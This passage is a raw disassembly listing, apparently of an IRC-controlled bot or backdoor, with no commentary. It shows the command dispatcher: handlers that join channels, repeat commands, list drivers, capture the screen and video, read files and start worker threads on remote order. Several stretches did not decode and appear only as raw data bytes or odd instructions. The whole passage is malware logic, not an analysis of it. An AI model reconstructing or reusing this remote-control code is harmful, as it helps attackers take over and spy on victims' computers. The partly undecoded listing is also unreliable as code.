		lea	eax, [ebp-668h]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41BC40
		push	1
		mov	[ebp-668h], esi
		pop	esi
		mov	[ebp-638h], bx
		push	dword ptr [ebp+18h]
		mov	[ebp-63Ch], esi
		call	sub_41BE29
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_408383
		mov	word ptr [ebp-638h], 5


loc_408383:				; CODE XREF: seg000:00408378j
		cmp	[ebp-0Ch], ebx
		jz	loc_406C65
		push	edi
		push	dword ptr [ebp-0Ch]
		call	sub_41BFB0
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_406C65
		lea	eax, [ebp-0E10h]
		push	eax
		lea	eax, [ebp-668h]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		call	near ptr 0B00000h
		inc	eax
		test	eax, eax
		jnz	short loc_4083CC
		push	offset unk_430E48
		jmp	loc_40854F
; ---------------------------------------------------------------------------


loc_4083CC:				; CODE XREF: seg000:004083C0j
		push	edi
		push	offset dword_430E2C
		jmp	loc_406C56
; ---------------------------------------------------------------------------


loc_4083D7:				; CODE XREF: seg000:0040651Fj
					; seg000:00406536j
		push	edi
		push	offset aXxerooxx ; "XxerooxX"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40854A
		lea	eax, [ebp-48F0h]
		push	eax
		push	104h
		call	near ptr 0B00000h
		punpckhbw mm7, mm7
; ---------------------------------------------------------------------------
		dd 8D000000h, 0FFDA3085h, 1875FFFFh, 388EE850h,	858D0001h
		dd 0FFFFE830h, 28BCE850h, 8D500000h, 0FFB71085h, 858D50FFh
		dd 0FFFFDB30h, 430E2068h, 0FFE85000h, 8B00013Ah, 0FF7C3584h
		dd 0C483FFFFh, 0C7C33B20h, 0FFDC3485h, 1FFh, 389D8900h
		dd 74FFFFDCh, 53106A14h, 4000E850h, 0C4830001h,	4085890Ch
		dd 0EBFFFFDCh, 409D8906h, 8BFFFFDCh, 3B803574h,	560F74F3h
		dd 139ACE8h, 85895900h,	0FFFFDC3Ch, 9D8906EBh, 0FFFFDC3Ch
		dd 585B60Fh, 8BFFFFF7h,	7F6A0C75h, 0FF78B5FFh, 8589FFFFh
		dd 0FFFFDC44h, 0D9B0858Dh, 0B589FFFFh, 0FFFFD9ACh, 37EAE850h
		dd 458B0001h, 1875FFFCh, 0DC4C8589h, 458BFFFFh,	488589F8h
		dd 8DFFFFDCh, 0FFFD4085h, 0DF468FFh, 0E8500043h, 13A5Ah
		dd 40858D56h, 6AFFFFFDh, 23E8501Eh, 8300002Bh, 858924C4h
		dd 0FFFFDC30h, 50F0458Dh, 0D9AC858Dh, 5053FFFFh, 416A0268h
		dd 0FF535300h, 42707C15h, 308D8B00h, 69FFFFDCh,	234C9h
		dd 89C33B00h, 44413481h, 39167400h, 0FFDC509Dh,	36850FFFh
		dd 6AFFFFE7h, 6415FF32h, 0EB004270h, 8C15FFEAh,	50004270h
		dd 430DB868h, 0E70CE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_40854A:				; CODE XREF: seg000:004083E6j
		push	offset dword_430D70


loc_40854F:				; CODE XREF: seg000:0040496Aj
					; seg000:00405F83j ...
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_41BF36
		pop	ecx
		pop	ecx
		jmp	loc_406C65
; ---------------------------------------------------------------------------


loc_408562:				; CODE XREF: seg000:004064F1j
					; seg000:00406508j
		push	dword ptr [ebp-8Ch]
		push	offset dword_4335A0
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401D6C
		cmp	[ebp-0Ch], ebx
		jz	loc_401D6C
		push	edi
		push	dword ptr [ebp-0Ch]
		call	sub_41BFB0
		push	eax
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp-90h]
		push	offset dword_430D60
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	1FFh
		push	eax
		push	dword ptr [ebp+8]
		call	sub_41BCA0
		push	dword ptr [ebp+18h]
		call	sub_41BE29
		add	esp, 30h
		test	eax, eax
		jle	short loc_4085EB
		push	dword ptr [ebp+18h]
		call	sub_41BE29
		imul	eax, 3E8h
		pop	ecx
		push	eax
		call	ds:dword_427064	; Sleep


loc_4085EB:				; CODE XREF: seg000:004085D3j
		push	offset dword_430D4C
		call	sub_4157A6
		mov	eax, [ebp+2Ch]
		pop	ecx
		inc	eax
		jmp	loc_401D6F
; ---------------------------------------------------------------------------


loc_4085FF:				; CODE XREF: seg000:004064C3j
					; seg000:004064DAj
		push	dword ptr [ebp-8Ch]
		push	offset dword_4335A0
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401D6C
		cmp	[ebp-0Ch], ebx
		jz	loc_4097B8
		push	edi
		push	dword ptr [ebp-0Ch]
		call	sub_41BFB0
		inc	edi
		push	offset aRepeat	; "repeat"
		push	edi
		mov	esi, eax
		call	sub_41C710
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_4086BA
		push	dword ptr [ebp-88h]
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp-90h]
		push	offset dword_430D60
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	1FFh
		push	eax
		push	dword ptr [ebp+8]
		call	sub_41BCA0
		push	esi
		lea	eax, [ebp-2C0h]
		push	offset dword_430D34
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4157A6
		push	dword ptr [ebp+18h]
		call	sub_41BE29
		add	esp, 38h
		test	eax, eax
		jle	loc_4097B8
		push	dword ptr [ebp+18h]
		call	sub_41BE29
		add	eax, [ebp+2Ch]
		pop	ecx
		jmp	loc_401D6F
; ---------------------------------------------------------------------------


loc_4086BA:				; CODE XREF: seg000:0040863Fj
		push	offset unk_430D00


loc_4086BF:				; CODE XREF: seg000:00408F4Cj
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_41BF36
		add	esp, 0Ch
		jmp	loc_409089
; ---------------------------------------------------------------------------


loc_4086D3:				; CODE XREF: seg000:00406495j
					; seg000:004064ACj
		push	7Fh
		lea	eax, [ebp-2214h]
		push	dword ptr [ebp+18h]
		push	eax
		call	sub_41BCA0
		push	7Fh
		lea	eax, [ebp-2194h]
		push	edi
		push	eax
		call	sub_41BCA0
		push	7Fh
		lea	eax, [ebp-2114h]
		push	dword ptr [ebp-88h]
		push	eax
		call	sub_41BCA0
		mov	eax, [ebp-4]
		mov	esi, [ebp+0Ch]
		mov	[ebp-2090h], eax
		mov	eax, [ebp-8]
		push	edi
		mov	[ebp-208Ch], eax
		push	dword ptr [ebp+18h]
		lea	eax, [ebp-2C0h]
		mov	[ebp-2218h], esi
		push	offset unk_430CCC
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	0Fh
		push	eax
		call	sub_40B00E
		add	esp, 40h
		mov	[ebp-2094h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-2218h]
		push	ebx
		push	eax
		push	offset word_4149C2
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp-2094h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_444134[ecx], eax
		jz	short loc_408790


loc_40877E:				; CODE XREF: seg000:0040878Ej
		cmp	[ebp-2088h], ebx
		jnz	short loc_4087AB
		push	32h
		call	ds:dword_427064	; Sleep
		jmp	short loc_40877E
; ---------------------------------------------------------------------------


loc_408790:				; CODE XREF: seg000:0040877Cj
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_430C90


loc_40879C:				; CODE XREF: seg000:00408898j
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_41BF36
		add	esp, 0Ch


loc_4087AB:				; CODE XREF: seg000:00408784j
					; seg000:0040887Cj
		cmp	[ebp-8], ebx
		jnz	loc_4095A9
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	esi
		jmp	loc_4095A1
; ---------------------------------------------------------------------------


loc_4087CB:				; CODE XREF: seg000:00406467j
					; seg000:0040647Ej
		push	7Fh
		lea	eax, [ebp-23A8h]
		push	dword ptr [ebp+18h]
		push	eax
		call	sub_41BCA0
		push	7Fh
		lea	eax, [ebp-2328h]
		push	edi
		push	eax
		call	sub_41BCA0
		push	7Fh
		lea	eax, [ebp-22A8h]
		push	dword ptr [ebp-88h]
		push	eax
		call	sub_41BCA0
		mov	eax, [ebp-4]
		mov	esi, [ebp+0Ch]
		mov	[ebp-2224h], eax
		mov	eax, [ebp-8]
		push	edi
		mov	[ebp-2220h], eax
		push	dword ptr [ebp+18h]
		lea	eax, [ebp-2C0h]
		mov	[ebp-23ACh], esi
		push	offset dword_430C64
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	11h
		push	eax
		call	sub_40B00E
		add	esp, 40h
		mov	[ebp-2228h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-23ACh]
		push	ebx
		push	eax
		push	offset dword_414170
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp-2228h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_444134[ecx], eax
		jz	short loc_40888C


loc_408876:				; CODE XREF: seg000:0040888Aj
		cmp	[ebp-221Ch], ebx
		jnz	loc_4087AB
		push	32h
		call	ds:dword_427064	; Sleep
		jmp	short loc_408876
; ---------------------------------------------------------------------------


loc_40888C:				; CODE XREF: seg000:00408874j
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_430C28
		jmp	loc_40879C
; ---------------------------------------------------------------------------


loc_40889D:				; CODE XREF: seg000:00406439j
					; seg000:00406450j
		push	edi
		lea	eax, [ebp-2C0h]
		push	offset dword_430C20
		push	eax
		call	sub_41BF36
		push	dword ptr [ebp+18h]
		call	sub_41BE29
		add	esp, 10h


loc_4088BA:				; CODE XREF: seg000:00408925j
		test	eax, eax
		jle	loc_4097B8
		push	dword ptr [ebp+18h]
		call	sub_41BE29
		cmp	eax, 400h
		pop	ecx
		jge	loc_4097B8


loc_4088D6:				; CODE XREF: seg000:0040949Bj
		lea	eax, [ebp-2C0h]
		push	eax
		push	offset dword_430C18
		push	dword ptr [ebp+18h]
		call	sub_41BE29
		imul	eax, 234h
		pop	ecx
		push	ds:dword_44412C[eax]
		call	sub_40998C
		jmp	loc_40495D
; ---------------------------------------------------------------------------


loc_408901:				; CODE XREF: seg000:0040640Bj
					; seg000:00406422j
		push	dword ptr [ebp+esi-84h]
		lea	eax, [ebp-2C0h]
		push	edi
		push	offset dword_430C0C
		push	eax
		call	sub_41BF36
		push	dword ptr [ebp+18h]
		call	sub_41BE29
		add	esp, 14h
		jmp	short loc_4088BA
; ---------------------------------------------------------------------------


loc_408927:				; CODE XREF: seg000:004063DDj
					; seg000:004063F4j
		push	edi
		lea	eax, [ebp-2C0h]
		push	offset dword_432138
		push	eax
		call	sub_41BF36
		mov	esi, [ebp+18h]
		push	esi
		call	sub_41BE29
		add	esp, 10h
		test	eax, eax
		jle	loc_4097B8
		push	esi
		call	sub_41BE29
		cmp	eax, 400h
		pop	ecx
		jge	loc_4097B8
		lea	eax, [ebp-2C0h]
		push	eax
		push	offset dword_430C18
		push	esi
		call	sub_41BE29
		imul	eax, 234h
		pop	ecx
		push	ds:dword_44412C[eax]
		call	sub_40998C
		push	edi
		push	esi
		push	offset dword_430BF0


loc_40898A:				; CODE XREF: seg000:00408A12j
					; seg000:00408A7Ej ...
		call	sub_41581A
		jmp	loc_40428D
; ---------------------------------------------------------------------------


loc_408994:				; CODE XREF: seg000:004063AFj
					; seg000:004063C6j
		cmp	[ebp-0Ch], ebx
		jz	loc_4097B8
		push	edi
		push	dword ptr [ebp-0Ch]
		call	sub_41BFB0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_4089C3
		push	esi
		lea	eax, [ebp-2C0h]
		push	offset dword_430BE8
		push	eax
		call	sub_41BF36
		add	esp, 0Ch


loc_4089C3:				; CODE XREF: seg000:004089ACj
		mov	edi, [ebp+18h]
		push	edi
		call	sub_41BE29
		test	eax, eax
		pop	ecx
		jle	loc_4097B8
		push	edi
		call	sub_41BE29
		cmp	eax, 400h
		pop	ecx
		jge	loc_4097B8
		lea	eax, [ebp-2C0h]
		push	eax
		push	offset dword_430C18
		push	edi
		call	sub_41BE29
		imul	eax, 234h
		pop	ecx
		push	ds:dword_44412C[eax]
		call	sub_40998C
		push	esi
		push	edi
		push	offset dword_430BCC
		jmp	loc_40898A
; ---------------------------------------------------------------------------


loc_408A17:				; CODE XREF: seg000:00406381j
					; seg000:00406398j
		cmp	[ebp-0Ch], ebx
		jz	loc_4097B8
		push	edi
		push	dword ptr [ebp-0Ch]
		call	sub_41BFB0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_4097B8
		mov	edi, [ebp+18h]
		push	edi
		call	sub_41BE29
		test	eax, eax
		pop	ecx
		jle	loc_4097B8
		push	edi
		call	sub_41BE29
		cmp	eax, 400h
		pop	ecx
		jge	loc_4097B8
		push	esi
		push	offset dword_430C18
		push	edi
		call	sub_41BE29
		imul	eax, 234h
		pop	ecx
		push	ds:dword_44412C[eax]
		call	sub_40998C
		push	esi
		push	edi
		push	offset dword_430BB0
		jmp	loc_40898A
; ---------------------------------------------------------------------------


loc_408A83:				; CODE XREF: seg000:00406353j
					; seg000:0040636Aj
		cmp	[ebp-0Ch], ebx
		jz	loc_4097B8
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp-0Ch]
		call	sub_41BFB0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_4097B8
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40998C
		push	esi
		push	offset unk_430B88


loc_408AB7:				; CODE XREF: seg000:00409682j
					; seg000:0040969Fj ...
		call	sub_41581A
		jmp	loc_403523
; ---------------------------------------------------------------------------


loc_408AC1:				; CODE XREF: seg000:00406325j
					; seg000:0040633Cj
		push	dword ptr [ebp-8Ch]
		push	offset dword_4335A0
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401D6C
		push	edi
		push	offset dword_430B7C
		push	dword ptr [ebp+0Ch]
		call	sub_40998C
		push	dword ptr [ebp+18h]
		call	sub_41BE29
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		call	ds:dword_427064	; Sleep
		push	dword ptr [ebp+esi-84h]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40998C
		push	offset dword_430B68
		call	sub_4157A6
		jmp	loc_403523
; ---------------------------------------------------------------------------


loc_408B25:				; CODE XREF: seg000:004062F7j
					; seg000:0040630Ej
		cmp	[ebp-0Ch], ebx
		jz	loc_4097B8
		push	dword ptr [ebp+18h]
		call	sub_41B890
		push	dword ptr [ebp+10h]
		mov	esi, eax
		call	sub_41B890
		add	eax, [ebp-0Ch]
		push	edi
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41BFB0
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_4097B8
		push	esi
		lea	eax, [ebp-2C0h]
		push	offset dword_43129C
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	ebx
		push	eax
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2
		push	esi
		push	dword ptr [ebp+18h]
		push	offset unk_430B4C
		call	sub_41581A
		add	esp, 2Ch
		jmp	loc_4097B8
; ---------------------------------------------------------------------------


loc_408B97:				; CODE XREF: seg000:004062C9j
					; seg000:004062E0j
		cmp	[ebp-0Ch], ebx
		jz	loc_4097B8
		push	dword ptr [ebp+18h]
		call	sub_41B890
		push	dword ptr [ebp+10h]
		mov	esi, eax
		call	sub_41B890
		add	eax, [ebp-0Ch]
		push	edi
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41BFB0
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_4097B8
		push	ebx
		push	ebx
		push	esi
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2
		push	esi
		push	dword ptr [ebp+18h]
		push	offset unk_430B2C
		call	sub_41581A
		add	esp, 20h
		jmp	loc_4097B8
; ---------------------------------------------------------------------------


loc_408BF1:				; CODE XREF: seg000:0040629Bj
					; seg000:004062B2j
		cmp	[ebp-0Ch], ebx
		jz	loc_401D6C
		push	edi
		push	dword ptr [ebp-0Ch]
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401D6C
		push	eax
		push	dword ptr [ebp+18h]
		call	sub_4156AE
		push	dword ptr [ebp+18h]
		lea	eax, [ebp-2C0h]
		push	offset unk_430B0C
		push	eax
		call	sub_41BF36
		add	esp, 14h
		jmp	loc_409588
; ---------------------------------------------------------------------------


loc_408C32:				; CODE XREF: seg000:0040626Dj
					; seg000:00406284j
		push	edi
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_418C8D
		jmp	loc_4040FF
; ---------------------------------------------------------------------------


loc_408C4C:				; CODE XREF: seg000:0040622Fj
					; seg000:00406244j
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+24h]
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097B8
		mov	esi, [ebp+esi-88h]
		cmp	esi, ebx
		jz	loc_408CF1
		push	esi
		push	dword ptr [ebp-0Ch]
		call	sub_41BFB0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408CD9
		push	esi
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp-90h]
		push	offset dword_430D60
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	1FFh
		push	eax
		push	dword ptr [ebp+8]
		call	sub_41BCA0
		push	esi
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp+18h]
		push	offset unk_430AE4
		push	eax
		call	sub_41BF36
		add	esp, 34h
		inc	dword ptr [ebp+2Ch]
		jmp	loc_4090AA
; ---------------------------------------------------------------------------


loc_408CD9:				; CODE XREF: seg000:00408C7Fj
		lea	eax, [ebp-2C0h]
		push	offset unk_430AB4
		push	eax
		call	sub_41BF36
		pop	ecx
		pop	ecx
		jmp	loc_4090AA
; ---------------------------------------------------------------------------


loc_408CF1:				; CODE XREF: seg000:00408C6Aj
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+24h]
		push	eax
		call	sub_41B598
		add	esp, 0Ch
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2
		push	dword ptr [ebp+18h]
		lea	eax, [ebp-2C0h]
		push	offset dword_430A98
		push	200h
		push	eax
		call	sub_41C030
		add	esp, 24h
		jmp	loc_4090AA
; ---------------------------------------------------------------------------


loc_408D3A:				; CODE XREF: seg000:00406205j
					; seg000:0040621Aj
		push	offset aScreen	; "screen"
		push	dword ptr [ebp+18h]
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408D95
		mov	edi, [ebp+esi-88h]
		cmp	edi, ebx
		jz	short loc_408D82
		push	edi
		call	loc_4159B6
		cmp	eax, 1
		pop	ecx
		jnz	short loc_408D7B
		push	edi
		lea	eax, [ebp-2C0h]
		push	offset unk_430A64
		push	eax
		call	sub_41BF36
		add	esp, 0Ch
		jmp	short loc_408D95
; ---------------------------------------------------------------------------


loc_408D7B:				; CODE XREF: seg000:00408D62j
		push	offset unk_430A34
		jmp	short loc_408D87
; ---------------------------------------------------------------------------


loc_408D82:				; CODE XREF: seg000:00408D56j
		push	offset unk_4309F8


loc_408D87:				; CODE XREF: seg000:00408D80j
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_41BF36
		pop	ecx
		pop	ecx


loc_408D95:				; CODE XREF: seg000:00408D4Bj
					; seg000:00408D79j
		push	offset aDrivers	; "drivers"
		push	dword ptr [ebp+18h]
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408E22
		xor	edi, edi


loc_408DAA:				; CODE XREF: seg000:00408E0Dj
		lea	eax, [ebp-53F8h]
		push	1FFh
		push	eax
		lea	eax, [ebp-4EF0h]
		push	0FFh
		push	eax
		push	edi
		call	ds:dword_4D1220
		test	eax, eax
		jz	short loc_408E09
		lea	eax, [ebp-53F8h]
		push	eax
		lea	eax, [ebp-4EF0h]
		push	eax
		push	edi
		lea	eax, [ebp-5D88h]
		push	offset unk_4309C8
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-5D88h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2
		add	esp, 28h


loc_408E09:				; CODE XREF: seg000:00408DCBj
		inc	edi
		cmp	edi, 0Ah
		jl	short loc_408DAA
		lea	eax, [ebp-2C0h]
		push	offset unk_4309A0
		push	eax
		call	sub_41BF36
		pop	ecx
		pop	ecx


loc_408E22:				; CODE XREF: seg000:00408DA6j
		push	offset aFrame	; "frame"
		push	dword ptr [ebp+18h]
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408EC3
		cmp	[ebp+esi-88h], ebx
		jz	short loc_408EB0
		cmp	[ebp+esi-84h], ebx
		jz	short loc_408EB0
		mov	edi, [ebp+esi-80h]
		cmp	edi, ebx
		jz	short loc_408EB0
		mov	eax, [ebp+esi-7Ch]
		cmp	eax, ebx
		jz	short loc_408EB0
		push	eax
		call	sub_41BE29
		pop	ecx
		push	eax
		push	edi
		call	sub_41BE29
		pop	ecx
		push	eax
		push	dword ptr [ebp+esi-84h]
		call	sub_41BE29
		pop	ecx
		push	eax
		push	dword ptr [ebp+esi-88h]
		call	sub_415BF1
		add	esp, 10h
		test	eax, eax
		jnz	short loc_408EA9
		push	dword ptr [ebp+esi-88h]
		lea	eax, [ebp-2C0h]
		push	offset unk_43096C
		push	eax
		call	sub_41BF36
		add	esp, 0Ch
		jmp	short loc_408EC3
; ---------------------------------------------------------------------------


loc_408EA9:				; CODE XREF: seg000:00408E8Aj
		push	offset unk_430938
		jmp	short loc_408EB5
; ---------------------------------------------------------------------------


loc_408EB0:				; CODE XREF: seg000:00408E40j
					; seg000:00408E49j ...
		push	offset unk_430900


loc_408EB5:				; CODE XREF: seg000:00408EAEj
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_41BF36
		pop	ecx
		pop	ecx


loc_408EC3:				; CODE XREF: seg000:00408E33j
					; seg000:00408EA7j
		push	offset aVideo	; "video"
		push	dword ptr [ebp+18h]
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409089
		mov	eax, [ebp+esi-88h]
		cmp	eax, ebx
		mov	[ebp+28h], eax
		jz	short loc_408F5B
		mov	eax, [ebp+esi-84h]
		cmp	eax, ebx
		mov	[ebp+8], eax
		jz	short loc_408F5B
		mov	eax, [ebp+esi-80h]
		cmp	eax, ebx
		mov	[ebp+20h], eax
		jz	short loc_408F5B
		mov	edi, [ebp+esi-7Ch]
		cmp	edi, ebx
		jz	short loc_408F5B
		mov	esi, [ebp+esi-78h]
		cmp	esi, ebx
		jz	short loc_408F5B
		push	esi
		call	sub_41BE29
		pop	ecx
		push	eax
		push	edi
		call	sub_41BE29
		pop	ecx
		push	eax
		push	dword ptr [ebp+20h]
		call	sub_41BE29
		pop	ecx
		push	eax
		push	dword ptr [ebp+8]
		call	sub_41BE29
		pop	ecx
		push	eax
		push	dword ptr [ebp+28h]
		call	sub_415DEA
		add	esp, 14h
		test	eax, eax
		jnz	short loc_408F51
		push	dword ptr [ebp+28h]
		push	offset unk_4308D4
		jmp	loc_4086BF
; ---------------------------------------------------------------------------


loc_408F51:				; CODE XREF: seg000:00408F42j
		push	offset unk_430894
		jmp	loc_40907B
; ---------------------------------------------------------------------------


loc_408F5B:				; CODE XREF: seg000:00408EE6j
					; seg000:00408EF4j ...
		push	offset unk_430854
		jmp	loc_40907B
; ---------------------------------------------------------------------------


loc_408F65:				; CODE XREF: seg000:00405B26j
					; seg000:00405B3Bj
		push	offset aR	; "r"
		push	dword ptr [ebp+18h]
		call	sub_41BBB8
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	short loc_408FE3
		mov	esi, 200h
		push	edi
		lea	eax, [ebp-2C0h]
		push	esi
		push	eax
		call	sub_41C1FF
		add	esp, 0Ch


loc_408F90:				; CODE XREF: seg000:00408FBFj
		test	eax, eax
		jz	short loc_408FC1
		push	1
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2
		push	edi
		lea	eax, [ebp-2C0h]
		push	esi
		push	eax
		call	sub_41C1FF
		add	esp, 20h
		jmp	short loc_408F90
; ---------------------------------------------------------------------------


loc_408FC1:				; CODE XREF: seg000:00408F92j
		push	edi
		call	sub_41B90B
		push	dword ptr [ebp+18h]
		lea	eax, [ebp-2C0h]
		push	offset unk_430830
		push	eax
		call	sub_41BF36
		add	esp, 10h
		jmp	loc_406C86
; ---------------------------------------------------------------------------


loc_408FE3:				; CODE XREF: seg000:00408F78j
		push	dword ptr [ebp+18h]
		push	offset unk_43080C
		jmp	loc_406C56
; ---------------------------------------------------------------------------


loc_408FF0:				; CODE XREF: seg000:00405AFCj
					; seg000:00405B11j
		cmp	[ebp-0Ch], ebx
		jz	loc_4097B8
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp-0Ch]
		call	sub_41BFB0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_4097B8
		push	offset asc_430808 ; "\n"
		push	esi
		call	sub_41C560
		push	esi
		call	sub_41A2D9
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40902F
		push	offset unk_4307DC
		jmp	short loc_40907B
; ---------------------------------------------------------------------------


loc_40902F:				; CODE XREF: seg000:00409026j
		push	esi
		lea	eax, [ebp-2C0h]
		push	offset dword_4307C4
		push	eax
		call	sub_41BF36
		add	esp, 0Ch
		jmp	short loc_4090AA
; ---------------------------------------------------------------------------


loc_409046:				; CODE XREF: seg000:00405AD2j
					; seg000:00405AE7j
		cmp	[ebp-0Ch], ebx
		jz	loc_4097B8
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp-0Ch]
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_4097B8
		push	eax
		call	sub_4189BD
		test	eax, eax
		pop	ecx
		jnz	short loc_409076
		push	offset unk_4307A4
		jmp	short loc_40907B
; ---------------------------------------------------------------------------


loc_409076:				; CODE XREF: seg000:0040906Dj
		push	offset dword_430788


loc_40907B:				; CODE XREF: seg000:00408F56j
					; seg000:00408F60j ...
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_41BF36
		pop	ecx
		pop	ecx


loc_409089:				; CODE XREF: seg000:004086CEj
					; seg000:00408ED4j
		cmp	[ebp-8], ebx
		jnz	short loc_4090AA
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2
		add	esp, 14h


loc_4090AA:				; CODE XREF: seg000:00408CD4j
					; seg000:00408CECj ...
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4157A6
		pop	ecx
		jmp	loc_4097B8
; ---------------------------------------------------------------------------


loc_4090BC:				; CODE XREF: seg000:00405AA8j
					; seg000:00405ABDj
		push	7Fh
		lea	eax, [ebp-2080h]
		push	dword ptr [ebp+18h]
		push	eax
		call	sub_41BCA0
		mov	esi, [ebp+esi-88h]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_4090ED
		push	7Fh
		lea	eax, [ebp-2000h]
		push	esi
		push	eax
		call	sub_41BCA0
		add	esp, 0Ch


loc_4090ED:				; CODE XREF: seg000:004090D9j
		push	7Fh
		lea	eax, [ebp-1F80h]
		push	dword ptr [ebp-88h]
		push	eax
		call	sub_41BCA0
		mov	eax, [ebp+0Ch]
		push	dword ptr [ebp+18h]
		mov	[ebp-2084h], eax
		mov	eax, [ebp-8]
		mov	[ebp-1EFCh], eax
		mov	eax, [ebp-4]
		mov	[ebp-1EF8h], eax
		lea	eax, [ebp-2C0h]
		push	offset dword_430770
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	1Ch
		push	eax
		call	sub_40B00E
		add	esp, 24h
		mov	[ebp-1F00h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-2084h]
		push	ebx
		push	eax
		push	offset sub_41B65E
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp-1F00h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_444134[ecx], eax
		jz	short loc_40918D


loc_409177:				; CODE XREF: seg000:0040918Bj
		cmp	[ebp-1EF4h], ebx
